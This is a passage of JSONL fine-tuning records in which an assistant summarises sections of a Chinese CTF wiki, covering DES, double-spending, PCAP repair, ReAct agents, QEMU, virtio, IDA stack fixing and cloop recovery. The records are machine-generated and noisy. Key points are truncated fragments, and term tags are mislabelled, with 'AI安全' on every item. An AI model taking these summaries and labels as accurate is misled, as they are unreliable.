des.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `解密结果（部分）：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1808, "chunk_count": 3, "chunk_index": 2, "ctf_score": 14, "ctf_task_type": "ai", "heading": "2019 CISCN part_des", "heading_path": ["-- coding: utf-8 --", "2019 CISCN part_des"], "original_id": "docs-1ba90d302df9d1600b35", "original_line": 18, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "source_root": "docs", "source_sha256": "cbcf7f36c02c6bc816fe0df275a1c9dcf3dce505e33f2e1d5574f202caffa303", "split": "train", "split_group_key": "bbfca2611688e5b4124ea3d3", "subcategory": "crypto/blockcipher/des.md", "terms": ["密码学", "AI安全", "crypto", "blockcipher", "des.md"], "title": "DES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-53f4a228fab95f73880e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/publicblockchain/weaknesses.md` 中的章节「Double-spending attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/publicblockchain/weaknesses.md`\n标题：Blockchain Weaknesses\n章节：Blockchain Weaknesses > Double-spending attack\n路径分类：blockchain / blockchain/publicblockchain/weaknesses.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Double-spending attack”展开。\n- 但区块链系统并不能完全防止双花，攻击者仍可以通过庞大的哈希计算资源来重新完成已确认区块的工作量证明并使自己所在链成为最长链来逆转交易实现双花，以及可以针对某些未确认交易实现双花攻击。\n- 区块链系统通过公开账本的方式来避免双花问题，用户广播交易时不会立即将其添加到区块链中，而是等待矿工通过挖矿将其打包在区块中，接收者在确定合法的交易已经添加到区块链之后，才可以认为该交易有效。\n- 用户通过在区块链上接收付款时等待确认来保护自己免受双花欺诈，随着确认数量的增加，交易变得更加不可逆转。\n- 双花问题是电子现金系统中的一个潜在问题，即相同的资金同时支付给两个接收者。\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- publicblockchain\n- weaknesses.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 297, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "Double-spending attack", "heading_path": ["Blockchain Weaknesses", "Double-spending attack"], "original_id": "docs-d12e20d9bcc7ff402cae", "original_line": 189, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "source_root": "docs", "source_sha256": "b1774aa1b004a4cec3c24fd8294d01a05dae6adac2a50593cc482ec59699b67b", "split": "train", "split_group_key": "bd9eec703cdc11f7c3589076", "subcategory": "blockchain/publicblockchain/weaknesses.md", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "publicblockchain", "weaknesses.md"], "title": "Blockchain Weaknesses"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/publicblockchain/weaknesses.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-544112800c6362b42277", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/fix.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/fix.md`\n标题：PCAP 文件修复\n章节：PCAP 文件修复 > 例题\n路径分类：misc / misc/traffic/fix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 文件: ./figure/strings-to-flag.png] 我们发现搜出了一大堆的东西，我们通过管道去过滤出 flag 信息，似乎没有发现我们所需要找的答案。\n- 第二步，流量包修复 我们用 wireshark 打开这个流量包 [图片: wireshark-to-error;\n- 文件: ./figure/wireshark-to-error.png] 我们发现这个流量包出现了异常现象，我们可以修复一下这个流量包。\n- 这里我们用到一个在线工具：http://f00l.de/hacking/pcapfix.php 这个工具可以帮助我们快速地将其流量包修复为 pcap 包。\n- 文件: ./figure/repaire-to-pcap.png] 修复完毕后点击 Get your repaired PCAP-file here. 即可下载流量包，然后我们用 wireshark 打开。\n\n关键术语：\n- 堆\n- AI安全\n- 修复/缓解\n- misc\n- traffic\n- fix.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `strings findtheflag.cap | grep flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 2191, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "例题", "heading_path": ["PCAP 文件修复", "例题"], "original_id": "docs-dc0ef00e1bb22a226751", "original_line": 600, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "source_root": "docs", "source_sha256": "7738c6ca7a537110aae2b0183bb3420088531e5950042c189fc351bd22f3dc42", "split": "train", "split_group_key": "419bebea2d032ef3c56757f9", "subcategory": "misc/traffic/fix.md", "terms": ["堆", "AI安全", "修复/缓解", "misc", "traffic", "fix.md", "code:shell"], "title": "PCAP 文件修复"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-547cbb41ae7cae51377d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/introduction.md` 中的章节「流量包分析简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/introduction.md`\n标题：流量包分析简介\n章节：流量包分析简介\n路径分类：misc / misc/traffic/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“流量包分析简介”展开。\n- 通常比赛中会提供一个包含流量数据的 PCAP 文件，有时候也会需要选手们先进行修复或重构传输文件后，再进行分析。\n- 总的来说有以下几个步骤 - 总体把握 - 协议分级 - 端点统计 - 过滤筛选 - 过滤语法 - Host，Protocol，contains，特征值 - 发现异常 - 特殊字符串 - 协议某字段 - flag 位于服务器中 - 数据提取 - 字符串取 - 文件提取 总的来说比赛中的流量分析可以概括为以下三个方向: - 流量包修复 - 协议分析 - 数据提取\n- PCAP 这一块作为重点考察方向，复杂的地方在于数据包里充满着大量无关的流量信息，因此如何分类和过滤数据是参赛者需要完成的工作。\n- CTF 比赛中,流量包的取证分析是另一项重要的考察方向。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- misc\n- traffic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 346, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "流量包分析简介", "heading_path": ["流量包分析简介"], "original_id": "docs-998c0e19a17ebdfc9325", "original_line": 601, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/introduction.md", "source_root": "docs", "source_sha256": "faea0f840f4aac064334b93d71c10b90c8bf63051cf29c1485cfd0af6ce30f3a", "split": "train", "split_group_key": "dae9a0f985249ebccead3802", "subcategory": "misc/traffic/introduction.md", "terms": ["AI安全", "修复/缓解", "misc", "traffic", "introduction.md"], "title": "流量包分析简介"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-5494e208123acc4dc110", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/agent-loop/patterns/react.md` 中的章节「ReAct」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/agent-loop/patterns/react.md`\n标题：ReAct\n章节：ReAct\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- ReAct （Reasoning and Action）即 “推理与行动” ，是一种 Agent Loop 执行策略。\n- 该策略由 Yao 等人首次在 2023 年的论文《ReACT: Synergizing Reasoning and Acting in Language Models》当中提出， ReAct 也是现在最为流行的 Agent Loop 实现范式，包括 Codex 在内的几乎所有的 AI Agent 都使用这一执行策略作为其核心。\n\n关键术语：\n- AI安全\n- ai\n- ai-for-security\n- agent\n- agent-loop\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 236, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "ReAct", "heading_path": ["ReAct"], "original_id": "docs-3112bdeb7c47582bc5d3", "original_line": 23, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/patterns/react.md", "source_root": "docs", "source_sha256": "adfdc8a32257981671952201a9a10b940886e443d1a6c9e14846c5e46f3ec81f", "split": "train", "split_group_key": "ef440e76c48e0ac466ce5415", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "ai", "ai-for-security", "agent", "agent-loop"], "title": "ReAct"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/agent-loop/patterns/react.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-54cfff4324a3f9dc0a02", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`\n标题：QEMU 内存管理\n章节：QEMU 内存管理 > REFERENCE\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- QEMU官方文档 understanding qemu - MemoryRegion QEMU内存分析（一）：内存虚拟化关键结构体 QEMU的内存模拟 QEMU的内存模型 【VIRT.0x00】Qemu - I：Qemu 简易食用指南\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 567, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "REFERENCE", "heading_path": ["QEMU 内存管理", "REFERENCE"], "original_id": "docs-6e21e012404a4727a9c4", "original_line": 1428, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "source_root": "docs", "source_sha256": "b0f49a5297d0248bb6c398aae5db06293db7c6aa0ea8235507cd7252e3b7b406", "split": "train", "split_group_key": "969ef705029265d018609112", "subcategory": "pwn/virtualization/qemu", "terms": ["AI安全", "pwn", "virtualization", "qemu", "basic-knowledge"], "title": "QEMU 内存管理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-55aa3eeb5718319b82c1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/vm/vm.md` 中的章节「恢复堆栈平衡」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/vm/vm.md`\n标题：虚拟机分析\n章节：虚拟机分析 > 恢复堆栈平衡\n路径分类：reverse / reverse/vm/vm.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“恢复堆栈平衡”展开。\n- 我们创建了一个vm_main函数(重命名后还需要创建函数, IDA才能识别), 然后按下F5提示失败, 失败的原因则是由于堆栈不平衡导致的. 因此我们可以点击IDA菜单项Options->General在右侧勾选stack pointer. 这样就会显示出对应的栈指针.\n- .text:0040180B 004 leave .text:0040180C 004 leave .text:0040180D 004 leave ` 然后你就可以发现vm_main`可以F5生成伪C代码了.\n- sp-analysis failed ` 我们来到最下显示不平衡的位置. 最上的jmp vm_main表明虚拟机内在执行一个循环. 而MessageBoxA的调用则是显示最后弹出的错误信息. 而在locret_40180A位置处, 经过多次leave堆栈严重不平衡, 因此我们需要手动恢复堆栈平衡. 这里也很简单, 在0040180A位置已经堆栈平衡了(000), 因此我们只需要将这一句leave修改为retn就可以了. 如下这样 ` .text:0040180A locret_40180A: ;\n- `` .text:004017F2 000 jmp vm_main .text:004017F7 ;\n- CODE XREF: vm_main+492\u0018j .text:0040180A 000 retn .text:0040180B ;\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- reverse\n- vm\n- vm.md\n\n代码/命令片段线索：\n- plain: 18 行，首行 `.text:004017F2 000 jmp vm_main`\n- plain: 6 行，首行 `.text:0040180A locret_40180A: ; CODE XREF: vm_main+492\u0018j`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1304, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "恢复堆栈平衡", "heading_path": ["虚拟机分析", "恢复堆栈平衡"], "original_id": "docs-580a8ddf807c98888c2d", "original_line": 1583, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "source_root": "docs", "source_sha256": "49dd1218224f91698e8278961fe4a83f27c1af4393baa73434f368d1c1baf321", "split": "train", "split_group_key": "70c7e3919c42427071d23a1d", "subcategory": "reverse/vm/vm.md", "terms": ["堆", "栈", "AI安全", "reverse", "vm", "vm.md"], "title": "虚拟机分析"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/vm/vm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-55b4e3f2f80b921c11b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/protocols/usb.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/protocols/usb.md`\n标题：USB\n章节：keep a list of the N best things we have seen, discard anything else > 参考文献\n路径分类：misc / misc/traffic/protocols\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考文献”展开。\n- - https://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html - https://blog.csdn.net/songze_lee/article/details/77658094 - https://wiki.wireshark.org/USB - https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf - https://www.wireshark.org/docs/man-p...\n\n关键术语：\n- 密码学\n- AI安全\n- misc\n- traffic\n- protocols\n- usb.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 532, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "参考文献", "heading_path": ["keep a list of the N best things we have seen, discard anything else", "参考文献"], "original_id": "docs-06c8a51ac18e9bdcd918", "original_line": 612, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "source_root": "docs", "source_sha256": "08cca8a2e3086d186787a8373b02ff799d9bcf0c30eca387da114d4c8673a550", "split": "train", "split_group_key": "daf6c1140f15cb2a2f56f952", "subcategory": "misc/traffic/protocols", "terms": ["密码学", "AI安全", "misc", "traffic", "protocols", "usb.md"], "title": "USB"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/protocols/usb.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ai", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-5641b7a60131fb5b85ed", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「What's next...?」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ai/ai-for-security/agent/introduction.md`\n标题：AI Agent\n章节：AI Agent > What's next...?\n路径分类：ai / ai/ai-for-security/agent\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“What's next...?”展开。\n- 因此无论我们原本处于计算机科学的哪个细分方向，或对 AI Agent 带来的冲击持何种态度， 我们或许都不得不需要逐步调整自身工作方式，直面并适应这一技术范式的变化，探索与 AI 系统协同以提升生产力的可行路径。\n- 需要注意的是，我们更侧重于原理侧的说明，目的是让大家理解 AI Agent 的基本工作原理、以及其为什么能够行得通，因此在涉及到示例代码的编写当中我们不会引入 LangGraph 等需要额外学习成本的软件包与框架（虽然他们很流行），而会尽量使用 Python 内置软件包完成更偏纯原理的教学。\n- 需要强调的是，我们并不希望 CTF 竞赛逐渐演变为 AI Agent 主导的对抗环境。\n- CTF 的核心价值之一，在于围绕漏洞分析、逆向工程与攻防思维训练所构建的能力体系，更在于选手间安全能力本身的竞争，而非单纯的工具调用效率竞争。\n- 因此，我们不会主动推荐在 CTF 比赛中使用 AI Agent 作为主要解题手段。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- ai\n- ai-for-security\n- agent\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ai", "chars": 1593, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "What's next...?", "heading_path": ["AI Agent", "What's next...?"], "original_id": "docs-83c58c25d6caa54329c9", "original_line": 11, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "source_root": "docs", "source_sha256": "10c5f487d7f7a7848399d82c958a68f082b5cd409eb446fb771b97f564a5ce52", "split": "train", "split_group_key": "201c63814cbc191ed0bf25be", "subcategory": "ai/ai-for-security/agent", "terms": ["AI安全", "漏洞利用", "ai", "ai-for-security", "agent", "introduction.md"], "title": "AI Agent"}, "source_dataset": "docs_distilled_v1", "source_path": "ai/ai-for-security/agent/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-58ef9a59a1b59ef1aeda", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「VirtQueue：传输层抽象」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`\n标题：IO 虚拟化\n章节：IO 虚拟化 > 软件半虚拟化 - virtio > VirtQueue：传输层抽象\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“VirtQueue：传输层抽象”展开。\n- virtqueue 为 virtio 中用以进行数据传输的关键结构，其本身表示一个数据队列：由一方向队列中添加 buffer，另一方从队列中取出 buffer——通过这样的方式实现了 Guest 与 Host 之间基本的数据传输模型。\n- 为了减少模型的复杂性，通常我们使用 virtqueue 的传输都是单向的，因此一个最简单的模型就是我们就可以使用两个 virtqueue 来实现 Guest 与 Host 之间的双向通信：tx queue（发送队列） & rx queue（接收队列）。\n- void (get_buf)(struct virtqueue vq, unsigned int len);\n- ` - add_buf：向 virtqueue 中添加一个 buffer - kick ：通知另一方新到达了一个 buffer - get_buf 从 virtqueue 中获取一个 buffer - disable_cb：通知另一方关闭 buffer 到达的提示 - enable_cb`：通知另一方开启 buffer 到达的提示\n- [图片文件: ./figure/virtqueue.png] 对于 virtqueue 的操作，在论文中抽象成一个函数表 virtqueue_ops： ``c struct virtqueue_ops { int (add_buf)(struct virtqueue vq, struct scatterlist sg[], unsigned int out_num, unsigned int in_num, void data);\n\n关键术语：\n- AI安全\n- pwn\n- virtualization\n- basic-knowledge\n- io-virtualization.md\n- code:c\n\n代码/命令片段线索：\n- c: 12 行，首行 `struct virtqueue_ops {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 848, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "VirtQueue：传输层抽象", "heading_path": ["IO 虚拟化", "软件半虚拟化 - virtio", "VirtQueue：传输层抽象"], "original_id": "docs-96810b711628c353c73b", "original_line": 1411, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "source_root": "docs", "source_sha256": "ff9b01703451d093829def71a27f03c2cc2aac081cf073a0628e028fe37eb910", "split": "train", "split_group_key": "a90666f688a16f3e4fd46665", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["AI安全", "pwn", "virtualization", "basic-knowledge", "io-virtualization.md", "code:c"], "title": "IO 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/io-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-58fce1adcc285af74cda", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/disk-memory/problem.md` 中的章节「2018 网鼎杯第一场 clip」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/disk-memory/problem.md`\n标题：题目\n章节：题目 > 2018 网鼎杯第一场 clip\n路径分类：misc / misc/disk-memory/problem.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 网鼎杯第一场 clip”展开。\n- 于是搜索如何压缩得到一个 cloop 文件，如下 ``shell mkisofs -r test | create_compressed_fs - 65536 > test.cloop ` 参考https://github.com/KlausKnopper/cloop，于是压缩一个文件，然后发现源文件文件头存在问题，于是进行修复，从而考虑如何从 cloop 文件中提取文件，即使用 ` extract_compressed_fs test.cloop now ` 参考https://manned.org/cre...\n- 通过010 editor 可以看到文件的头部包含有 cloop 字样，搜了搜发现这是一个古老的 linux 压缩后的设备，题目中又说这个设备损坏了，所以就想办法找一个正常的。\n\n关键术语：\n- AI安全\n- 修复/缓解\n- misc\n- disk-memory\n- problem.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `mkisofs -r test | create_compressed_fs - 65536 > test.cloop`\n- plain: 1 行，首行 `extract_compressed_fs test.cloop now`\n- shell: 14 行，首行 `➜ clip losetup -d /dev/loop0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 1106, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "2018 网鼎杯第一场 clip", "heading_path": ["题目", "2018 网鼎杯第一场 clip"], "original_id": "docs-721bbc4318b15c12b612", "original_line": 559, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/disk-memory/problem.md", "source_root": "docs", "source_sha256": "fed1246f2b936eb4d498c90d27b772c4f2aa762b70e5fcc9936826e59d3e62c6", "split": "train", "split_group_key": "d15dc8b4ed6a7635ec5a0b93", "subcategory": "misc/disk-memory/problem.md", "terms": ["AI安全", "修复/缓解", "misc", "disk-memory", "problem.md", "code:shell"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/disk-memory/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-59e1e487614da493c87f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「赛制介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 战争分享模式 - Belluminar > 赛制介绍\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“赛制介绍”展开。\n- Each team can show its ability to attack what other teams want to protect and can > defend what others want to attack. 如官网所介绍的，在 BELLUMINAR CTF 赛制中受邀参赛队伍需要相互出题挑战，并在比赛结束后分享赛题的出题思路、学习过程以及解题思路等。\n- Belluminar is from 'Bellum'(war in Latin) and 'seminar'.\n- > Belluminar, hacking contest of POC, started at POC2015 in KOREA for the first time.\n- It is not a just hacking contest but a kind of > festival consisted of CTF & seminar for the solution about challenges.\n- Only invited teams can join Belluminar.\n\n关键术语：\n- 漏洞利用\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 530, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "赛制介绍", "heading_path": ["CTF 竞赛模式简介", "战争分享模式 - Belluminar", "赛制介绍"], "original_id": "docs-8b5b09ecbb02c265e661", "original_line": 528, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "e09671ccebf09bd895207962", "subcategory": "introduction/mode.md", "terms": ["漏洞利用", "mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
